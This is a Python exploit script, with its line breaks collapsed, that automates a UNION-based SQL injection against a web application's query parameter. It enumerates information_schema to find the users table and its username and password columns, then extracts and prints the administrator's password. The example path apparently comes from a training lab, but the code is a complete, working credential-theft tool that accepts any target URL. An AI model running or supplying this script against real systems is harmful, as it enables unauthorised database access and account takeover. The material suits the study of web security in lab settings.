import requests import sys import urllib3 from bs4 import BeautifulSoup, Tag, NavigableString import re from typing import Optional, Tuple # Disable SSL warnings for unverified requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Proxy settings for debugging (e.g., Burp Suite) proxies: dict[str, str] = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } def perform_request(url: str, path: str, sql_payload: str) -> str: """ Sends an HTTP GET request with the given SQL injection payload. :param url: Target base URL :param path: Target path where SQL injection will be attempted :param sql_payload: SQL payload to be appended to the request :return: Response text from the server """ try: response: requests.Response = requests.get( f"{url}{path}{sql_payload}", verify=False, proxies=proxies ) response.raise_for_status() # Raise an error for bad HTTP responses return response.text except requests.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(-1) def extract_text(element: Optional[Tag | NavigableString]) -> Optional[str]: """ Safely extracts text from a BeautifulSoup element, handling different return types. :param element: The BeautifulSoup element (Tag, NavigableString, or None) :return: Extracted text or None """ if isinstance(element, (Tag, NavigableString)): return element.get_text(strip=True) return None def sqli_users_table(url: str, path: str) -> Optional[str]: """ Attempts to retrieve the users table name via SQL injection. :param url: Target base URL :param path: Target path where SQL injection will be attempted :return: Extracted users table name or None """ sql_payload: str = ( "' UNION SELECT table_name, NULL FROM information_schema.tables--" ) res: str = perform_request(url, path, sql_payload) soup: BeautifulSoup = BeautifulSoup(res, "html.parser") # Look for table names that include "users" users_table_element = soup.find(string=re.compile(r".*users.*", re.IGNORECASE)) return extract_text(users_table_element) def sqli_users_columns( url: str, path: str, users_table: str ) -> Tuple[Optional[str], Optional[str]]: """ Attempts to extract username and password column names from the users table. :param url: Target base URL :param path: Target path where SQL injection will be attempted :param users_table: Name of the users table :return: Tuple containing (username_column, password_column) or (None, None) """ sql_payload: str = f"' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = '{users_table}'--" res: str = perform_request(url, path, sql_payload) soup: BeautifulSoup = BeautifulSoup(res, "html.parser") # Extract username and password column names username_element = soup.find(string=re.compile(r".*username.*", re.IGNORECASE)) password_element = soup.find(string=re.compile(r".*password.*", re.IGNORECASE)) return extract_text(username_element), extract_text(password_element) def sqli_administrator_cred( url: str, path: str, users_table: str, username_column: str, password_column: str ) -> Optional[str]: """ Extracts the administrator's password using SQL injection. :param url: Target base URL :param path: Target path where SQL injection will be attempted :param users_table: Name of the users table :param username_column: Column name containing usernames :param password_column: Column name containing passwords :return: Administrator password if found, else None """ sql_payload: str = ( f"' UNION SELECT {username_column}, {password_column} FROM {users_table}--" ) res: str = perform_request(url, path, sql_payload) soup: BeautifulSoup = BeautifulSoup(res, "html.parser") # Look for the administrator's username in a tag admin_entry = soup.find("th", string=re.compile(r"administrator", re.IGNORECASE)) if admin_entry: password_tag = admin_entry.find_next("td") # Get the adjacent return extract_text(password_tag) return None if __name__ == "__main__": try: url: str = sys.argv[1].strip() path: str = sys.argv[2].strip() except IndexError: print(f"[-] Usage: {sys.argv[0]} ") print( f"[-] Example: {sys.argv[0]} http://www.example.com /filter?category=Accessories" ) sys.exit(-1) print("[+] Searching for the users table...") users_table: Optional[str] = sqli_users_table(url, path) if users_table: print(f"[+] Found users table: {users_table}") print("[+] Extracting username and password columns...") username_column, password_column = sqli_users_columns(url, path, users_table) if username_column and password_column: print(f"[+] Found username column: {username_column}") print(f"[+] Found password column: {password_column}") print("[+] Attempting to retrieve administrator credentials...") admin_password: Optional[str] = sqli_administrator_cred( url, path, users_table, username_column, password_column ) if admin_password: print(f"[+] Administrator password: {admin_password}") else: print("[-] Administrator password not found.") else: print("[-] Could not determine username and/or password columns.") else: print("[-] Users table not found.")